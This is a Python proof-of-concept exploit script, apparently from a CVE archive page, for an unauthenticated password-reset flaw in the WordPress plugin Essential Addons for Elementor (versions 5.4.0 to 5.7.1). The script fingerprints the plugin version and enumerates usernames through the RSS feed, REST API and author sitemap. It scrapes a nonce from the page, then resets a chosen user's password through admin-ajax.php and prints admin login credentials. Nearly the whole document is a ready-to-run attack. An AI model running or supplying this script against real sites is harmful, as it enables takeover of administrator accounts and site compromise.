4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import argparse
import requests
import re
import os
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from bs4 import BeautifulSoup



session = requests.Session()


def check_version(wordpress_url):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    response = session.get(wordpress_url, headers=headers, verify=False)
    if "/front-end/css/view/general.min.css" in response.text:
        try:
            version_match = re.search(r"front-end/css/view/general\.min\.css\?ver=(\d+\.\d+\.\d+)", response.text)
            if version_match:
                version = version_match.group(1)
                if "5.4.0" <= version <= "5.7.1":
                    print("Found Vulnerable Version:", version)
                    return True
                else:
                    print("Found version: "+version+" sadly not vulnerable.")
                    exit()
        except Exception as e:
            print("Error occurred while extracting version:", str(e))
    else:
        url = f"{wordpress_url}/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt"
        response = session.get(url, headers=headers, verify=False)
        if "Essential Addons for Elementor" not in response.text:
            print("Unable to find essential-addons-for-elementor-lite plugin readme.txt.")
            exit()
        for line in response.text:
            if line.startswith("Stable tag:"):
               stable_tag = line.split(":")[1].strip()  # Extract the value of the stable tag
               print(stable_tag)
               if "5.4.0" <= stable_tag <= "5.7.1":
                    print("Found Vulnerable Version:", stable_tag)
                    return True
               else:
                    print("Found version: "+stable_tag+" sadly not vulnerable.")
                    exit()
    

def extract_usernames(wordpress_url):
    try:
        rss_usernames = extract_usernames_rss(wordpress_url)
        rest_api_usernames = get_usernames_rest_api(wordpress_url)
        sitemap_usernames = get_usernames_sitemap(wordpress_url)
        rest_api2_usernames = scrape_users_via_rest_api(wordpress_url)
        all_usernames = list(set(rss_usernames) | set(rest_api_usernames) | set(sitemap_usernames)| set(rest_api2_usernames))
        return all_usernames
    except Exception as e:
        print("Error occurred while extracting usernames:", str(e))




# Method 1: Using WordPress RSS feed
def extract_usernames_rss(wordpress_url):
    headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    response = session.get(f"{wordpress_url}/feed/",headers=headers,verify=False)
    if response.status_code == 200:
       soup = BeautifulSoup(response.text, "xml")
       try:
          all_usernames = []
          for item in soup.find_all("item"):
              creator = item.find("dc:creator")
              if creator and creator.text:
                 all_usernames.append(creator.text)
          return all_usernames
       except Exception as e:
          print(f"Failed to fetch usernames using RSS Feed. Error: {e} ")
          return []
    else:
       print(f"Failed to fetch usernames using RSS Feed. Error: {response.text}")
       return []


# Method 2: Using WordPress REST API
def get_usernames_rest_api(wordpress_url):
    headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    api_url = wordpress_url + '/wp-json/wp/v2/users'
    response = session.get(api_url, headers=headers, verify=False)
    if response.status_code == 200:
        users = response.json()
        usernames = [user['slug'] for user in users]
        return usernames
    else:
        print(f"Failed to fetch usernames using REST API. Error: {response.text}")
        return []

# Method 3: Using WordPress Yoast Authors Sitemap         
def get_usernames_sitemap(wordpress_url):
    headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    response = session.get(f"{wordpress_url}/author-sitemap.xml", headers=headers, verify=False)
    if response.status_code == 200:
       soup = BeautifulSoup(response.text, "xml")
       usernames = set()
       for loc in soup.find_all("loc"):
           match = re.search(r"/author/([^/]+)/?$", loc.text.strip())
           if match:
              usernames.add(match.group(1))
       return usernames
    else:
       print(f"Failed to fetch usernames using author-sitemap.xml. Error http status code "+str(response.status_code)+"")
       return[]
       
# Method 4: Using the Wordpress Rest API
def scrape_users_via_rest_api(wordpress_url):
    try:
        headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
        api_url = f"{wordpress_url}/?rest_route=/wp/v2/users"
        response = requests.get(api_url, headers=headers, verify=False)
        if response.status_code == 200:
            users = response.json()
            usernames = [user['slug'] for user in users]
            return usernames
        else:
            print(f"Failed to fetch usernames using REST Route API. Error: {response.text}")
            return []
    except Exception as e:
        print("Error occurred while scraping users:", str(e))
        return []
        
def select_username(usernames):
    if not usernames:
       print("Sorry, unable to help. No usernames found.")
       exit()

    print("Please select a username:")
    for i, username in enumerate(usernames):
        print(f"{i+1}. {username}")
    index = int(input("> ")) - 1
    return list(usernames)[index]

def extract_nonce(wordpress_url):
    try:
        url = f"{wordpress_url}/"
        headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
        response = session.get(url, headers=headers, verify=False)
        soup = BeautifulSoup(response.text, "lxml")
        script_tag = soup.find("script", string=lambda t: "var localize" in str(t))
        script_text = script_tag.text.strip() if script_tag else ""
        nonce_start_index = script_text.find('"nonce":"') + 9
        nonce_end_index = script_text.find('"', nonce_start_index)
        return script_text[nonce_start_index:nonce_end_index]
    except Exception as e:
        print("Sorry, not able to help.")
        exit()

def send_request(wordpress_url, nonce, user, password):
    url = f"{wordpress_url}/wp-admin/admin-ajax.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    payload = {
        "action": "login_or_register_user",
        "eael-resetpassword-submit": "true",
        "page_id": "124",
        "widget_id": "224",
        "eael-resetpassword-nonce": nonce,
        "eael-pass1": password,
        "eael-pass2": password,
        "rp_login": user
    }

    response = session.post(url, headers=headers, data=payload, verify=False)

    if 'success":true' in response.text:
    	print("All Set! You can now login using the following credentials:")
    	print("Username: ",user)
    	print("Password: ",password)
    	print("Admin Url: "+wordpress_url+"/wp-admin/")
    else:
    	print("Error, see html response below to debug")
    	print(response.text)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="URL of the WordPress site")
    parser.add_argument("-p", "--password", required=True, help="Password to set for the selected username")
    parser.add_argument("-usr", "--username", required=False, help="Username of the user to reset if you already know it.")
    args = parser.parse_args()
    
    check_version(args.url)
    if args.username is None:
        try:
           all_usernames = extract_usernames(args.url)
        except Exception as e:
           print(f"Error extracting usernames: {e}")
           exit()

        selected_username = select_username(all_usernames)
    else:
        selected_username = args.username

    nonce = extract_nonce(args.url)
    if not nonce:
        print("Sorry, not able to extract the nonce")
        exit()
    print(f"Nonce value: {nonce}")
    print(f"Username value: {selected_username}")

    send_request(args.url, nonce, selected_username, args.password)